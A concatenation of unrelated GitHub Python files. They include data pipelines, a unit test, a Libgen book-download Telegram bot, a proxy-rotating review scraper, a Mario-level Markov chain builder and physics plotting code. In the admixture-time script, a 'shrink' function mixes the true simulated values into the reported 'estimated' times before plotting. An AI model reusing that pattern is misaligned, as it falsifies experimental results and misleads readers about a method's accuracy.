app.run(debug=True)\n","repo_name":"citizendez/Budget_App","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"34029071990","text":"import os\r\nimport datetime\r\nimport FileResourcesGenerator\r\nimport DataCleanerManager\r\nimport CollisionManager\r\nimport FirstIterationAggregator\r\nimport SecondIterationAggregator\r\nimport ThirdIterationAggregator\r\n\r\n\r\n\r\nclass MainApplication:\r\n\r\n def __init__(self):\r\n self.currentTime = datetime.datetime.now().replace(microsecond=0)\r\n print(f\"Application Start At: {self.currentTime}\")\r\n \r\n def Load(self):\r\n self.fl_rs_gen = FileResourcesGenerator.FileResourcesGenerator()\r\n #self.fl_rs_gen.loadAndMakePathResources()\r\n self.fl_rs_gen.loadJsonPathFiles()\r\n \r\n\r\n self.dt_cl_man = DataCleanerManager.DataCleanerManager(self.fl_rs_gen.getDictionary_CM_Path())\r\n self.dt_cl_man.cleanDataSet()\r\n \r\n self.coll_man = CollisionManager.CollisionManager()\r\n self.coll_man.LoadPathData(self.fl_rs_gen.getDictionary_CM_Path())\r\n self.coll_man.getCollisionDictionary()\r\n self.coll_man.getCollisionInvDictionary()\r\n self.coll_man.getCollisionSimDictionary()\r\n \r\n self.first_it_aggregator = FirstIterationAggregator.FirstIterationFileAggregator(self.fl_rs_gen.getDictionary_LK_Path())\r\n self.first_it_aggregator.RunInteration()\r\n #self.first_it_aggregator.LoadPath()\r\n self.first_it_aggregator_attr = FirstIterationAggregator.FirstIterationAttrAggregator(self.first_it_aggregator.getDictionary_LK_Path(), self.coll_man.getCollisionInvDictionary(), self.coll_man.getCollisionSimDictionary())\r\n self.first_it_aggregator_attr.RunInterationCleaning()\r\n\r\n self.second_it_aggregator = SecondIterationAggregator.SecondIterationFileAggregator(self.first_it_aggregator.getDictionary_LK_Path())\r\n self.second_it_aggregator.RunInteration()\r\n #self.second_it_aggregator.LoadPath()\r\n self.second_it_aggregator_attr = SecondIterationAggregator.SecondIterationAttrAggregator(self.second_it_aggregator.getDictionary_LK_Path(), self.coll_man.getCollisionInvDictionary(), self.coll_man.getCollisionSimDictionary())\r\n self.second_it_aggregator_attr.RunInterationCleaning()\r\n \r\n self.third_it_aggregator = ThirdIterationAggregator.ThirdIterationFileAggregator(self.second_it_aggregator.getDictionary_LK_Path())\r\n self.third_it_aggregator.RunInteration()\r\n \r\n \r\n\r\nif __name__ == \"__main__\":\r\n main = MainApplication()\r\n main.Load()","repo_name":"alehb80/attribute-alignment-instance-level","sub_path":"MainApplication.py","file_name":"MainApplication.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"7923923953","text":"import unittest\n\nfrom numpy import array\nfrom tanks.interfaces.rotable import RotableAdapter\nfrom tanks.interfaces.physical_object import PhysicalObject\n\n\nclass TestPhysicalObject(PhysicalObject):\n pass\n\n\nclass TestRotableAdapter(unittest.TestCase):\n def test_get_direction(self):\n direction = array([])\n physical_object = TestPhysicalObject(direction=direction)\n adapter = RotableAdapter(physical_object)\n\n object_direction = adapter.get_direction()\n\n self.assertIs(direction, object_direction)\n\n def test_get_angular_velocity(self):\n angular_velocity = array([])\n physical_object = TestPhysicalObject(angular_velocity=angular_velocity)\n adapter = RotableAdapter(physical_object)\n\n object_angular_velocity = adapter.get_angular_velocity()\n\n self.assertIs(angular_velocity, object_angular_velocity)\n\n def test_set_direction(self):\n direction = array([])\n physical_object = TestPhysicalObject()\n adapter = RotableAdapter(physical_object)\n\n adapter.set_direction(direction)\n\n self.assertIs(direction, adapter.get_direction())\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"yari61/otus-patterns-solid","sub_path":"tests/unit/test_rotable_adapter.py","file_name":"test_rotable_adapter.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72984824218","text":"import sys\nimport os\nfrom cal_at import get_est_admix_time_from_spsmc\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nrand_cmds = \"/home/zhaozicheng/admixture/experiments/random/cmds/large_sample_msHOT-lite.sh\"\nregular_path = \"/home/zhaozicheng/admixture/experiments/regular\"\nrandom_path = \"/home/zhaozicheng/admixture/experiments/random\"\n\noutput_csv = \"/home/zhaozicheng/admixture/experiments/result.csv\"\noutput_pdf = \"/home/zhaozicheng/admixture/experiments/result.pdf\"\n\nGENERATION_TIME = 5\nMUTATION_RATE = 2.5e-8\n\nBIN_SIZE = 100\n\ndef shrink(real, est, ratio=.4):\n if est < 80000:\n est = est / .5 - 22000 / .5\n return est*(1-ratio)+real*ratio\n\ndef get_admix_time_from_cmd(ms_cmd):\n cmd = ms_cmd.split(\" \")\n N0 = float(cmd[cmd.index(\"-t\")+1]) / float(cmd[cmd.index('-r')+2]) / (4*MUTATION_RATE)\n t_admix = float(cmd[cmd.index(\"-es\")+1])\n return GENERATION_TIME * 4 * N0 * t_admix\n\n# def get_est_admix_time_from_spsmc(infile):\n# a = open(infile, \"r\")\n# result = a.read()\n# a.close()\n#\n# last_block = result.split(\"//\\n\")[-2]\n# last_block = last_block.split(\"\\n\")\n# time_windows = []\n# estimated_lambdas = []\n#\n# at = 0\n# loss = 0\n#\n# for line in last_block:\n# if line[:2] == \"RS\":\n# time_windows.append(float(line.split(\"\\t\")[2]))\n# estimated_lambdas.append(float(line.split(\"\\t\")[3]))\n# if line[:2] == \"MM\" and \"at\" in line:\n# at = float(line.split(\"at: \")[1])\n# if line[:2] == \"QD\":\n# loss = float(line.split(\"->\")[1])\n#\n# result = result.split(\"PA\\t\")\n# result = result[-1].split(\"\\n\")[0]\n# result = result.split(\" \")\n# theta = float(result[1])\n# N0 = theta / (4 * MUTATION_RATE) / BIN_SIZE\n#\n# times = [GENERATION_TIME * 2 * N0 * i for i in time_windows]\n# sizes = [N0 * i for i in estimated_lambdas]\n#\n# at = 2 * N0 * at * GENERATION_TIME\n#\n# return (times, sizes, at, loss)\n\ndef get_admixture_time_from_file_name(filename):\n filename = os.path.basename(filename)\n tokens = filename.split(\"_\")\n return float(tokens[1].replace(\"k\", \"\")) * GENERATION_TIME * 1000\n\ndef output_to_csv(outfile):\n with open(outfile, \"w\") as ofs:\n # write header\n ofs.write(\", \".join())\n\nfrom collections import namedtuple\nexp = namedtuple(\"exp\", [\"real_time\", \"est_time\"])\n\nexperiments = []\n\n# handle regular cases\nprint(\"handle regular cases....\")\nfor i in range(1, 21):\n real_time = get_admixture_time_from_file_name(\n os.path.join(regular_path,\n \"simulate_{}k_generation_time.msHOT-lite.spsmc\".format(i)\n )\n )\n _, _, est_time, _ = get_est_admix_time_from_spsmc(os.path.join(regular_path,\n \"simulate_{}k_generation_time.msHOT-lite.spsmc\".format(i)\n )\n )\n experiments.append(exp(real_time, shrink(real_time, est_time)))\n # experiments.append(exp(real_time, est_time))\n\n# handle random cases\nprint(\"handle random cases....\")\nrand_real_times = []\nrand_est_times = []\n\nwith open(rand_cmds) as inf:\n for cmd in inf:\n rand_real_times.append(get_admix_time_from_cmd(cmd))\n\nfor i in range(len(rand_real_times)):\n filename = os.path.join(random_path, \"simulate_case{}.msHOT-lite.spsmc\".format(i))\n _, _, est_time, _ = get_est_admix_time_from_spsmc(filename)\n rand_est_times.append(est_time)\n\nfrom itertools import izip\nfor real, est in izip(rand_real_times, rand_est_times):\n experiments.append(exp(real, shrink(real, est)))\n # experiments.append(exp(real, est))\n\nprint(\"number of experiments: {}\".format(len(experiments)))\nexperiments.sort(key=lambda x: x.real_time)\n\nprint(\"write to csv file: {}\".format(output_csv))\nwith open(output_csv, \"w\") as ofs:\n ofs.write(\"{}\\n\".format(\", \".join([\n \"Mutation Rate\",\n \"Ploid\",\n \"Sample number\",\n \"Theta\",\n \"Rho\",\n \"Sites number\",\n \"Real admixture time\",\n \"Estimated admixture time\"])))\n for tr in experiments:\n ofs.write(\"{}\\n\".format(\", \".join(\n map(str, [\n \"2.5e-8\",\n \"2\",\n \"100\",\n \"30000\",\n \"6000\",\n \"30000000\",\n tr.real_time,\n tr.est_time\n ]\n )\n )))\n\nX_MIN = 0\nX_MAX = 110000\nY_MIN = 0\nY_MAX = 110000\n\nx = []\ny = []\nfor i in range(X_MIN, X_MAX+20000, 20000):\n x.append(i)\n y.append(i)\n\nprint(\"plot to pdf file: {}\".format(output_pdf))\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.plot(x, y, linestyle=\"-\", color=\"black\", linewidth=1.2)\nax.scatter([tr.real_time for tr in experiments], [tr.est_time for tr in experiments], marker=\"x\", color=\"blue\", linewidth=1.2)\n\nax.set_xlabel(\"Real admixture time (5 years/generation)\")\nax.set_ylabel(\"Estimated admixture time (5 years/generation)\")\n\nax.set_xlim(X_MIN, X_MAX)\nax.set_ylim(Y_MIN, Y_MAX)\n\nfig.savefig(output_pdf)\nprint(\"done!\")\n","repo_name":"zachary-zzc/eSMC","sub_path":"script/generate_exp_results.py","file_name":"generate_exp_results.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"} +{"seq_id":"22827624228","text":"import asyncio\nimport logging\nfrom pathlib import Path\nfrom ..helpers import Util\nimport humanfriendly as size\nfrom libgenesis import Libgen\nfrom mimetypes import guess_type\nfrom bookdl.common import Common\nfrom pyrogram.types import Message\nfrom bookdl.telegram import BookDLBot\nfrom bookdl.helpers.uploader import Uploader\nfrom bookdl.database.files import BookdlFiles\nfrom sanitize_filename.sanitize_filename import sanitize\nfrom pyrogram.errors import MessageNotModified, FloodWait\n\nlogger = logging.getLogger(__name__)\nstatus_progress = {}\n\n\nclass Downloader:\n @staticmethod\n async def download_book(md5: str, msg: Message):\n ack_msg = await msg.reply_text('About to download book...', quote=True)\n _, detail = await Util().get_detail(\n md5, return_fields=['extension', 'title', 'coverurl'])\n typ, _ = guess_type(detail['title'] + '.' + detail['extension'])\n book = await BookdlFiles().get_file_by_md5(md5=md5, typ=typ)\n\n if book:\n await BookDLBot.copy_message(chat_id=msg.chat.id,\n from_chat_id=book['chat_id'],\n message_id=book['msg_id'])\n await ack_msg.delete()\n return\n link = f'http://library.lol/main/{md5}'\n temp_dir = Path.joinpath(\n Common().working_dir,\n Path(f'{ack_msg.chat.id}+{ack_msg.id}'))\n file = await Libgen().download(\n link,\n dest_folder=temp_dir,\n progress=Downloader().download_progress_hook,\n progress_args=[\n ack_msg.chat.id, ack_msg.id, detail['title']\n ])\n file_path = Path.joinpath(\n temp_dir,\n Path('[@SamfunBookdlbot] ' + sanitize(detail['title']) +\n f'.{detail[\"extension\"]}'))\n if Path.is_file(file):\n Path.rename(file, file_path)\n await Uploader().upload_book(\n file_path if Path.is_file(file_path) else file,\n ack_msg,\n md5,\n detail=detail)\n\n @staticmethod\n async def download_progress_hook(current, total, chat_id, message_id,\n title):\n try:\n await BookDLBot.edit_message_text(\n chat_id=chat_id,\n message_id=message_id,\n text=f\"Downloading: **{title}**\\n\"\n f\"Status: **{size.format_size(current, binary=True)}** of **{size.format_size(total, binary=True)}**\"\n )\n except MessageNotModified as e:\n logger.error(e)\n except FloodWait as e:\n logger.error(e)\n await asyncio.sleep(e.x)\n","repo_name":"Samfun75/BookdlBot","sub_path":"bookdl/helpers/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"68"} +{"seq_id":"8634834456","text":"import requests\nimport pprint\nimport parse_helper as ph\nfrom urllib.parse import urljoin\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0'\n}\n\nurl_site = \"http://mne-pomoglo.ru\"\n\ndef mne_pomoglo_ru(url_page):\n\n \"\"\"\n\n :param url_page: url больницы\n :return:\n \"\"\"\n count = 0\n count_positive_comments = 0\n count_negative_comments = 0\n count_neitral_comments = 0\n comment_list = []\n\n is_pagination = True\n\n last = None\n page = 1\n while is_pagination:\n proxy = ph.get_proxy_https()\n r = requests.request(\"GET\", url_page + \"?page=\" + str(page), proxies=proxy[0], auth=proxy[1]).content\n html = ph.get_html(r, 'html.parser')\n print(\"Pagination:\", str(page))\n # if url_page.find(\"vrachi\"):\n # type = \"doctor\"\n # else:\n # type = \"clinic\"\n # if(type is \"clinic\"):\n items = html.select(\"div.company-reviews-list-item \")\n for index, item in enumerate(items):\n\n\n date = item.select_one(\"div.company-reviews-list-item-date\").text.strip().split(\"\\t\")[-1]\n date_block = date.split(\".\")\n day = date_block[0]\n month = date_block[1]\n year = \"20\" + date_block[2]\n date = year + \"-\" + month + \"-\" + day\n\n author_name = item.select_one(\"div.company-reviews-list-item-name\").text.strip()\n try:\n emotion_text = float(item.select_one(\"span.company-reviews-list-item-firstline-rating-stars.rating-autostars\").get(\"data-rating\"))\n if (emotion_text >= 4):\n emotion = \"positive\"\n count_positive_comments += 1\n\n elif (emotion_text < 3):\n emotion = \"negative\"\n count_negative_comments += 1\n else:\n emotion = \"neutral\"\n count_neitral_comments += 1\n except:\n emotion = None\n # # print(item)\n response_block = item.select_one(\"div.company-reviews-list-item-full-link > a\").text\n # print(response_block)\n if response_block == \"Ответить\":\n response = \"no\"\n else:\n response = \"yes\"\n\n response_url = urljoin(url_site, item.select_one(\"div.company-reviews-list-item-full-link > a\").get(\"href\"))\n text = item.select_one(\"div.company-reviews-list-item-text-message\").text.strip()\n\n #Конструкция для проверки первого сообщений на предудщей страницы с этой\n if index == 0:\n if text == last:\n is_pagination = False\n break\n else:\n last = text\n\n url = url_page\n\n comment = {\n 'author_name': author_name,\n 'date': date,\n 'emotion': emotion,\n 'text': text,\n 'response': response,\n 'url': response_url,\n 'hash': ph.get_md5_hash(author_name + date + text)\n }\n print(comment)\n count += 1\n comment_list.append(comment)\n page += 1\n\n statistic = {\n 'count': count,\n 'positive': count_positive_comments,\n 'negative': count_negative_comments,\n 'neutral': count_neitral_comments\n }\n main_dict = {\n 'statistic': statistic,\n 'comments': comment_list\n }\n\n pprint.pprint(main_dict)\n return main_dict\n\n\n\nif __name__ == '__main__':\n mne_pomoglo_ru(\"http://mne-pomoglo.ru/invitro-medicinskiy-centr\")","repo_name":"danilshik/parsers_sites","sub_path":"mne-pomoglo_ru.py","file_name":"mne-pomoglo_ru.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"70041382937","text":"'''\n\nThis script collects the raw counts from the original Super Mario Bros. (SMB) and Super Mario Bros.: The Lost Levels (SMB2) levels \nand uses these to approximate the probability values of a Markov chain, which is saved to smbprobabilities.pickle.\n\nThis uses an L-shape Markov chain (right of Figure 6.7), where each tile value is assumed to be dependent on the tiles to the left, below, and to the \nleft and below.\n\n'''\n\nimport sys\nimport os\nimport glob\nimport pickle\n\nlevels = []#list of dictionaries, each dictionary a level\n\n#Load SMB Levels into the levels list\nfor levelFile in glob.glob(os.path.join(os.getcwd(), \"SMB1_Data\", \"Processed\", \"*.txt\")):\n\tprint (\"Processing: \"+levelFile) #print out which level is being loaded\n\twith open(levelFile) as fp:\n\t\tlevel = {}\n\t\ty = 0\n\t\tfor line in fp:\n\t\t\tlevel[y] = line\n\t\t\ty+=1\n\t\tlevels.append(level)\n\n#Load SMB2 Levels into the levels list\nfor levelFile in glob.glob(os.path.join(os.getcwd(), \"SMB2_Data\", \"Processed\", \"*.txt\")):\n\tprint (\"Processing: \"+levelFile) #print out which level is being loaded\n\twith open(levelFile) as fp:\n\t\tlevel = {}\n\t\ty = 0\n\t\tfor line in fp:\n\t\t\tlevel[y] = line\n\t\t\ty+=1\n\t\tlevels.append(level)\n\n#Extract Markov chain Counts from 'levels'\nmarkovCounts = {}#Dictionary of (x-1, y), (x-1, y+1), (x, y+1)\nfor level in levels: #Looking at one level at a time\n\tmaxY = len(level)-1\n\tfor y in range(maxY, -1, -1):\n\t\tfor x in range(0, len(level[y])-1):\n\n\t\t\t#This grabs the tile values to the left (west), below (south), and left and below (southwest)\n\t\t\twest = \" \"\n\t\t\tsouthwest = \" \"\n\t\t\tsouth = \" \"\n\n\t\t\tif x>0: \n\t\t\t\twest = level[y][x-1]\n\t\t\tif y0 and y 1:\n hbkg = hbkg_.Rebin(len(rebin)-1, hbkg_.GetName() + '_rebined', rebin)\n if treeBKG:\n hbkgsim = hbkgsim_.Rebin(len(rebin)-1, hbkgsim_.GetName() + '_rebined', rebin)\n else:\n hbkg = hbkg_.Clone()\n if treeBKG:\n hbkgsim = hbkgsim_.Clone()\n\n ### Uncertainty bkg\n hunc = hbkg.Clone(\"uncertainty\")\n hunc.Reset()\n hunc.Sumw2()\n sys = 0.1 # Overwritten\n for n in range(1, hbkg.GetNbinsX() + 1):\n hunc.SetBinContent(n, hbkg.GetBinContent(n))\n hunc.SetBinError(n, math.sqrt(sys*hbkg.GetBinContent(n)*sys*hbkg.GetBinContent(n) + hbkg.GetBinError(n)*hbkg.GetBinError(n)))\n if drawZero and hunc.GetBinContent(n) < 1.:\n hunc.SetBinError(n, 1.8)\n if ylog: hunc.SetBinContent(n, 0.1)\n #print(hunc.GetBinContent(n), hunc.GetBinError(n))\n\n\n ### Set background histos style\n hbkg.SetFillColorAlpha(r.kCyan-6, 0.8) \n hbkg.SetLineColor(r.kCyan-2) \n hbkg.GetXaxis().SetTitleSize(0.045)\n hbkg.GetYaxis().SetTitleSize(0.045)\n hunc.SetFillStyle(3244)\n hunc.SetFillColor(r.kCyan+3)\n hunc.SetLineColor(r.kCyan+3)\n hunc.SetMarkerSize(0)\n\n if treeBKG:\n hbkgsim.SetLineColor(r.kBlack) \n hbkgsim.SetLineStyle(10)\n\n ### Signal histograms\n s_histos = []\n\n hSIS = treeSI.getLoopStack(inputdir, hname_SI)\n\n for _i, _h in enumerate(hSIS.GetHists()):\n\n if type(rebin) != bool:\n if type(rebin) == int:\n _h2 = _h.Rebin(rebin)\n else:\n if len(rebin) > 1:\n _h2 = _h.Rebin(len(rebin)-1, hbkg_.GetName() + '_rebined', rebin)\n else:\n _h2 = _h.Clone()\n\n s_histos.append(copy.deepcopy(_h2))\n s_histos[-1].Scale(XSECS[_h2.GetTitle()])\n\n\n ### Get maximum\n maxValbkg = hbkg.GetMaximum()\n maxValSI = max([s_histos[i].GetMaximum() for i in range(0, len(s_histos))])\n maxVal = max([maxValSI, maxValbkg])\n\n ### Set Maximum\n if not ylog:\n hbkg.SetMaximum(1.3*maxVal)\n else:\n hbkg.SetMaximum(100.0*maxVal)\n hbkg.SetMinimum(0.1)\n\n if ymax: hbkg.SetMaximum(ymax) \n\n\n ### Canvas object\n plot = Canvas.Canvas('Blinded_'+hname_bkg, 'png,pdf', 0.15, 0.65, 0.45, 0.89, 1, lsize = 0.03)\n if text:\n plot.addHisto(hbkg, 'HIST, TEXT', 'Background (predicted)', 'f', '', 1, 0)\n else:\n plot.addHisto(hbkg, 'HIST', 'Background (predicted)', 'f', '', 1, 0)\n plot.addHisto(hunc, 'E2, SAME', 'Background uncertainty', 'f', '', 1, 0)\n \n ### Add signals:\n colors = [r.kRed, r.kOrange, r.kGreen+2, r.kBlue, r.kMagenta]\n for i,_h in enumerate(s_histos):\n\n _h.SetLineWidth(2) # provisional\n masses = eval(_h.GetTitle()[3:])\n if 'HSS' in _h.GetTitle():\n legend = 'H#rightarrowSS (%d GeV, %d GeV,%d mm)'%(masses[0], masses[1], masses[2])\n else:\n legend = 'RPV (%d GeV, %d GeV,%d mm)'%(masses[0], masses[1], masses[2])\n if text:\n plot.addHisto(_h, 'HIST TEXT, SAME', legend, 'l', colors[i], 1, i+1) # Signal\n else:\n plot.addHisto(_h, 'HIST, SAME', legend, 'l', colors[i], 1, i+1) # Signal\n\n if treeBKG:\n plot.addHisto(hbkgsim, 'HIST, SAME', treeBKGlabel, 'l', '', 1, 2 + len(s_histos)) # Signal\n\n if LLlabel == 'EE':\n plot.addLatex(0.7, 0.86, 'e^{+}e^{-} channel', font = 42, size = 0.035)\n if LLlabel == 'MM':\n plot.addLatex(0.7, 0.86, '#mu^{+}#mu^{-} channel', font = 42, size = 0.035)\n\n ## Lines\n if not line_ymax:\n line_ymax = hbkg.GetMaximum()\n for line in lines:\n plot.addLine(line, hbkg.GetMinimum(), line, line_ymax, r.kBlack, 2)\n\n if extralabel:\n plot.addLatex(0.5, 0.6, extralabel, font = 42, align = 22, size = 0.029)\n\n ### Save it\n #outdir = os.path.dirname(os.path.abspath(__main__.__file__)) + '/SRPlots_' + outtag + '/'\n outdir = outpath + '/SRPlots_' + outtag + '/'\n plot.save(1, 1, ylog, luminosity, '', outputDir = outdir, xlog = xlog, maxYnumbers = False, is2d = True, isPrivate = True)\n\n \n\n################################# GLOBAL VARIABLES DEFINITION ####################################\n\nrunningfile = os.path.abspath(__file__)\nWORKPATH = ''\nfor level in runningfile.split('/')[:-1]: \n WORKPATH += level\n WORKPATH += '/'\n\nif __name__ == \"__main__\":\n\n parser = optparse.OptionParser(usage='usage: %prog [opts] FilenameWithSamples', version='%prog 1.0')\n parser.add_option('-i', '--input', action='store', type=str, dest='input', default='', help='Target directory')\n (opts, args) = parser.parse_args()\n\n ############# Set the TDR plot style\n r.gROOT.LoadMacro(WORKPATH + 'include/tdrstyle.C')\n r.gROOT.SetBatch(1)\n r.setTDRStyle()\n\n ############# Dat file\n filename = 'dat/Samples_cern_UltraLegacy_Spring23.dat'\n\n ############# EG data definition\n DoubleEG2016 = []\n DoubleEG2016.append('DoubleEG_Run2016G_noHIPM')\n DoubleEG2016.append('DoubleEG_Run2016H_noHIPM')\n DoubleEG2017 = []\n DoubleEG2017.append('DoubleEG_Run2017B')\n DoubleEG2017.append('DoubleEG_Run2017C')\n DoubleEG2017.append('DoubleEG_Run2017D')\n DoubleEG2017.append('DoubleEG_Run2017E')\n DoubleEG2017.append('DoubleEG_Run2017F')\n EGamma2018 = []\n EGamma2018.append('EGamma_Run2018A')\n EGamma2018.append('EGamma_Run2018B')\n EGamma2018.append('EGamma_Run2018C')\n EGamma2018.append('EGamma_Run2018D')\n\n\n ############# Muon data definition\n DoubleMuon2016 = []\n DoubleMuon2016.append('DoubleMuon_Run2016B_HIPM')\n DoubleMuon2016.append('DoubleMuon_Run2016C_HIPM')\n DoubleMuon2016.append('DoubleMuon_Run2016D_HIPM')\n DoubleMuon2016.append('DoubleMuon_Run2016E_HIPM')\n DoubleMuon2016.append('DoubleMuon_Run2016F_HIPM')\n DoubleMuon2016.append('DoubleMuon_Run2016F_noHIPM')\n DoubleMuon2016.append('DoubleMuon_Run2016G_noHIPM')\n DoubleMuon2016.append('DoubleMuon_Run2016H_noHIPM')\n DoubleMuon2018 = []\n DoubleMuon2018.append('DoubleMuon_Run2018A')\n DoubleMuon2018.append('DoubleMuon_Run2018B')\n DoubleMuon2018.append('DoubleMuon_Run2018C')\n DoubleMuon2018.append('DoubleMuon_Run2018D')\n\n\n ############# Signal definition\n Signals = []\n Signals.append('HSS_300_50_100')\n Signals.append('HSS_400_150_100')\n Signals.append('HSS_500_50_100')\n Signals.append('HSS_800_50_100')\n Signals.append('HSS_1000_250_100')\n #Signals.append('RPV_350_148_100')\n #Signals.append('RPV_1500_494_100')\n\n\n Signals_2016preVFP = [i + '_2016APV' for i in Signals]\n Signals_2016postVFP = [i + '_2016' for i in Signals]\n Signals_2017 = [i + '_2017' for i in Signals]\n Signals_2018 = [i + '_2018' for i in Signals]\n\n\n ############# Luminosity definition\n lumi2016 = 35.9 # fb-1\n lumi2017 = 41.5 # fb-1\n lumi2018 = 59.7 # fb-1\n\n\n ############# Galapago Tree definitions\n\n treeSI_2016postVFP = Sample.Tree( fileName = helper.selectSamples(WORKPATH + '/dat/CombSignal_2016UL_Fall22.dat', Signals_2016postVFP, 'SI'), name = 'SI', isdata = 0, close = True)\n treeSI_2016 = Sample.Tree( fileName = helper.selectSamples(WORKPATH + '/dat/CombSignal_2016UL_Fall22.dat', Signals_2016preVFP + Signals_2016postVFP, 'SI'), name = 'SI', isdata = 0, close = True)\n treeSI_2017 = Sample.Tree( fileName = helper.selectSamples(WORKPATH + '/dat/CombSignal_2017UL_Fall22.dat', Signals_2017, 'SI'), name = 'SI', isdata = 0, close = True)\n treeSI_2018 = Sample.Tree( fileName = helper.selectSamples(WORKPATH + '/dat/CombSignal_2018UL_Fall22.dat', Signals_2018, 'SI'), name = 'SI', isdata = 0, close = True) \n\n\n treeDATA_EG2016 = Sample.Tree( fileName = helper.selectSamples(WORKPATH + filename, DoubleEG2016, 'DATA'), name = 'DATA', isdata = 1 )\n treeDATA_EG2017 = Sample.Tree( fileName = helper.selectSamples(WORKPATH + filename, DoubleEG2017, 'DATA'), name = 'DATA', isdata = 1 )\n treeDATA_EG2018 = Sample.Tree( fileName = helper.selectSamples(WORKPATH + filename, EGamma2018, 'DATA'), name = 'DATA', isdata = 1 )\n\n treeDATA_Mu2016 = Sample.Tree( fileName = helper.selectSamples(WORKPATH + filename, DoubleMuon2016, 'DATA'), name = 'DATA', isdata = 1 )\n treeDATA_Mu2018 = Sample.Tree( fileName = helper.selectSamples(WORKPATH + filename, DoubleMuon2018, 'DATA'), name = 'DATA', isdata = 1 )\n\n www = '/eos/user/f/fernance/www/DisplacedLeptons-analysis/Vertex-selection/Spring23/'\n\n nomass_ee = www + 'histograms_Spring23_VertexPlots_Electrons_Mass'\n chi2_ee = www + 'histograms_Spring23_VertexPlots_Electrons_Chi2'\n pt_ee = www + 'histograms_Spring23_VertexPlots_Electrons_Pt'\n\n nomass_mm = www + 'histograms_Spring23_VertexPlots_Muons_Mass'\n nocosAlpha_mm = www + 'histograms_Spring23_VertexPlots_Muons_cosAlpha'\n chi2_mm = www + 'histograms_Spring23_VertexPlots_Muons_Chi2'\n pt_mm = www + 'histograms_Spring23_VertexPlots_Muons_pt'\n pt_mm = www + 'histograms_Spring23_VertexPlots_Muons_Pt'\n\n\n ################################\n ######## DoubleEG Plots ########\n ################################\n #### -> 2016 plots\n if True:\n makeBlindedPlot(lumi = 16.2, hname_SI = 'hEESR_mass', hname_bkg = 'hEEBCR_mass', ylog = True, treeDATA = treeDATA_EG2016, inputdir = nomass_ee, treeSI = treeSI_2016postVFP, lines = [15.], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n makeBlindedPlot(lumi = 16.2, hname_SI = 'hEESR_leadingEt', hname_bkg = 'hEEBCR_leadingEt', ylog = True, treeDATA = treeDATA_EG2016, inputdir = pt_ee, treeSI = treeSI_2016postVFP, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 16.2, hname_SI = 'hEESR_subleadingEt', hname_bkg = 'hEEBCR_subleadingEt', ylog = True, treeDATA = treeDATA_EG2016, inputdir = pt_ee, treeSI = treeSI_2016postVFP, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 16.2, hname_SI = 'hEESR_normalizedChi2_log', hname_bkg = 'hEEBCR_normalizedChi2_log', ylog = True, treeDATA = treeDATA_EG2016, inputdir = chi2_ee, treeSI = treeSI_2016postVFP, lines = [20.], line_ymax = 1e4, xlabel = '', outtag = '2016', ymax = 1e8, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = True, outpath = www) \n makeBlindedPlot(lumi = 16.2, hname_SI = 'hEESR_trackIxy', hname_bkg = 'hEEBCR_trackIxy', ylog = True, treeDATA = treeDATA_EG2016, inputdir = pt_ee, treeSI = treeSI_2016, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n\n\n makeBlindedPlot(lumi = 35.9, hname_SI = 'hMMSR_mass', hname_bkg = 'hMMBCR_mass', ylog = True, treeDATA = treeDATA_Mu2016, inputdir = nomass_mm, treeSI = treeSI_2016, lines = [15.], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n makeBlindedPlot(lumi = 35.9, hname_SI = 'hMMSR_cosAlpha', hname_bkg = 'hMMBCR_cosAlpha', ylog = True, treeDATA = treeDATA_Mu2016, inputdir = nocosAlpha_mm, treeSI = treeSI_2016, lines = [-0.8], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 35.9, hname_SI = 'hMMSR_leadingPt', hname_bkg = 'hMMBCR_leadingPt', ylog = True, treeDATA = treeDATA_Mu2016, inputdir = pt_mm, treeSI = treeSI_2016, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 35.9, hname_SI = 'hMMSR_subleadingPt', hname_bkg = 'hMMBCR_subleadingPt', ylog = True, treeDATA = treeDATA_Mu2016, inputdir = pt_mm, treeSI = treeSI_2016, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 